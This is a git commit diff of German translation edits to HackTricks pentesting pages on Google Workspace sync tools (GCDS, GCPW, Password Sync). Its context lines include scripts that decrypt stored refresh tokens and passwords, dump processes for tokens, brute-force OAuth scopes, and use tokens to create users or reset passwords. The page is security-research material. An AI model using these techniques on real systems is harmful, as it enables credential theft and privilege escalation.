mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 15:35:51 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -9,7 +9,7 @@ Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutze
|
||||
Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
|
||||
|
||||
> [!NOTE]
|
||||
> Um einen **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Um ein **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCDS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**.
|
||||
@@ -49,12 +49,12 @@ Die interessantesten Informationen in der Datei wären:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
Beachten Sie, wie das **refresh** **token** und das **password** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
|
||||
Beachten Sie, wie das **Refresh** **Token** und das **Passwort** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell-Skript zum Entschlüsseln des Refresh-Tokens und des Passworts</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von **`DirSync.jar`** aus **`C:\Program Files\Google Cloud Directory Sync`** durchsuchen und nach der Zeichenfolge `exportkeys` suchen (da dies der CLI-Parameter ist, den die Binärdatei `upgrade-config.exe` erwartet, um die Schlüssel auszugeben).
|
||||
|
||||
Anstelle des PowerShell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC und diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
|
||||
Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
|
||||
|
||||
### GCDS - Tokens aus dem Speicher dumpen
|
||||
|
||||
@@ -162,7 +162,7 @@ Ich schätze, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe Prozesse und nach Tokens suchen</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -250,7 +250,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
|
||||
>
|
||||
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
|
||||
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
|
||||
|
||||
Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
|
||||
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Es ist nicht möglich, dem neuen Benutzer die Super Amin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren.
|
||||
> Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das **Refresh-Token nicht über genügend Scopes verfügt**, um die erforderlichen Berechtigungen zu gewähren.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert.
|
||||
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zur Zugriff auf Google Workspace an einigen Stellen im PC gespeichert.
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCPW** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar Tokens**.
|
||||
@@ -27,8 +27,6 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Neue Zeilen wurden hinzugefügt, um die Lesbarkeit zu verbessern.
|
||||
|
||||
> [!NOTE]
|
||||
> Es war möglich, einen MitM durch die Installation von `Proxifier` auf dem PC durchzuführen, indem die `utilman.exe`-Binärdatei mit einer `cmd.exe` überschrieben und die **Zugänglichkeitsfunktionen** auf der Windows-Anmeldeseite ausgeführt wurden, die eine **CMD** ausführt, von der aus Sie **Proxifier starten und konfigurieren** können.\
|
||||
> Vergessen Sie nicht, den **QUICK UDP**-Verkehr in `Proxifier` zu blockieren, damit er auf TCP-Kommunikation herabgestuft wird und Sie ihn sehen können.
|
||||
@@ -40,7 +38,7 @@ Darüber hinaus ist es möglich, durch Hinzufügen der Schlüssel `enable_verbos
|
||||
### GCPW - Fingerabdruck
|
||||
|
||||
Es ist möglich zu überprüfen, ob GCPW auf einem Gerät installiert ist, indem überprüft wird, ob der folgende Prozess existiert oder ob die folgenden Registrierungsschlüssel existieren:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -110,8 +108,8 @@ Innerhalb der Registry **`HKCU:\SOFTWARE\Google\Accounts`** könnte es möglich
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Daten von <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> abrufen und refresh_tokens entschlüsseln</summary>
|
||||
```powershell
|
||||
<summary>Hole <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> Daten und entschlüssle refresh_tokens</summary>
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert zu ändern (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden und das **Token wird in der vorherigen Registrierung gespeichert**.
|
||||
Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** zu ändern, und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden, und das **Token wird in der vorherigen Registrierung gespeichert**.
|
||||
|
||||
### GCPW - Disk Refresh Tokens
|
||||
|
||||
@@ -186,8 +184,8 @@ Das folgende Skript kann verwendet werden, um jeden **Chrome**-Prozess mit `proc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump Chrome-Prozesse und nach Tokens suchen</summary>
|
||||
```powershell
|
||||
<summary>Dump Chrome-Prozesse und suche nach Tokens</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
Ich habe dasselbe mit `gcpw_extension.exe` versucht, aber es wurde kein Token gefunden.
|
||||
|
||||
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
|
||||
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 für 1 zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zugriffstoken überprüfen, indem Zeichen 1 nach dem anderen entfernt werden</summary>
|
||||
<summary>Zugriffstoken überprüfen, indem Zeichen 1 für 1 entfernt werden</summary>
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -314,7 +312,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
|
||||
>
|
||||
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
|
||||
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
|
||||
|
||||
Standardmäßig hat GCPW nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
|
||||
|
||||
@@ -348,7 +346,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute-forced Scopes</summary>
|
||||
<summary>Brute-forced scopes</summary>
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/calendar
|
||||
@@ -463,12 +461,12 @@ https://www.googleapis.com/auth/wallet.chrome
|
||||
```
|
||||
</details>
|
||||
|
||||
Beachten Sie, dass das möglicherweise das interessanteste ist:
|
||||
Beachten Sie, dass das interessanteste möglicherweise ist:
|
||||
```c
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
```
|
||||
Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, also weiß ich nicht, wie nützlich es noch ist.
|
||||
Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, daher weiß ich nicht, wie nützlich er noch ist.
|
||||
|
||||
**Erhalten Sie ein Zugriffstoken mit all diesen Scopes**:
|
||||
|
||||
@@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
</details>
|
||||
|
||||
Einige Beispiele, die einige dieser Bereiche verwenden:
|
||||
Einige Beispiele, die einige dieser Scopes verwenden:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -763,7 +761,7 @@ curl -X POST \
|
||||
**Google Workspace Vault** ist ein Add-on für Google Workspace, das Werkzeuge für die Datenaufbewahrung, -suche und -export für die Daten Ihrer Organisation bietet, die in Google Workspace-Diensten wie Gmail, Drive, Chat und mehr gespeichert sind.
|
||||
|
||||
- Ein **Matter** in Google Workspace Vault ist ein **Container**, der alle Informationen zu einem bestimmten Fall, einer Untersuchung oder einer rechtlichen Angelegenheit organisiert und gruppiert. Er dient als zentrales Hub für die Verwaltung von **Holds**, **Searches** und **Exports**, die sich auf dieses spezielle Thema beziehen.
|
||||
- Ein **Hold** in Google Workspace Vault ist eine **Bewahrungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
|
||||
- Ein **Hold** in Google Workspace Vault ist eine **Erhaltungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
|
||||
```bash
|
||||
# List matters
|
||||
curl -X GET \
|
||||
|
||||
@@ -10,9 +10,9 @@ Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binä
|
||||
|
||||
### GPS - Konfiguration
|
||||
|
||||
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
|
||||
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **ihm Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
|
||||
|
||||
- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt)** gespeichert
|
||||
- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt) gespeichert**
|
||||
- Nur verfügbar auf Domänencontrollern mit GUI
|
||||
- Bereitstellung von **Service Account-Anmeldeinformationen von GCP** (json-Datei) mit Berechtigungen zur **Verwaltung der Workspace-Benutzer**
|
||||
- Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten
|
||||
@@ -36,7 +36,7 @@ Das verschlüsselte **Passwort** (falls vorhanden) befindet sich im Schlüssel *
|
||||
Das verschlüsselte Token (falls vorhanden) befindet sich im Schlüssel **`AuthToken`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Darüber hinaus ist es auch mit base32hex unter Verwendung des Wörterbuchs **`0123456789abcdefghijklmnopqrstv`** codiert.
|
||||
|
||||
Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsselt, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
|
||||
Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsseln wird, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -52,7 +52,7 @@ Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> und die <code>password_sync_service.exe</code> Prozesse und suche nach Tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -144,7 +144,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
>
|
||||
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
|
||||
|
||||
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope, daher können wir mit dem folgenden Skript die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
|
||||
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -176,7 +176,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
Welches dasselbe ist, das Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
|
||||
Welche dasselbe ist, was Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Privilegien zu eskalieren**.
|
||||
|
||||
Reference in New Issue
Block a user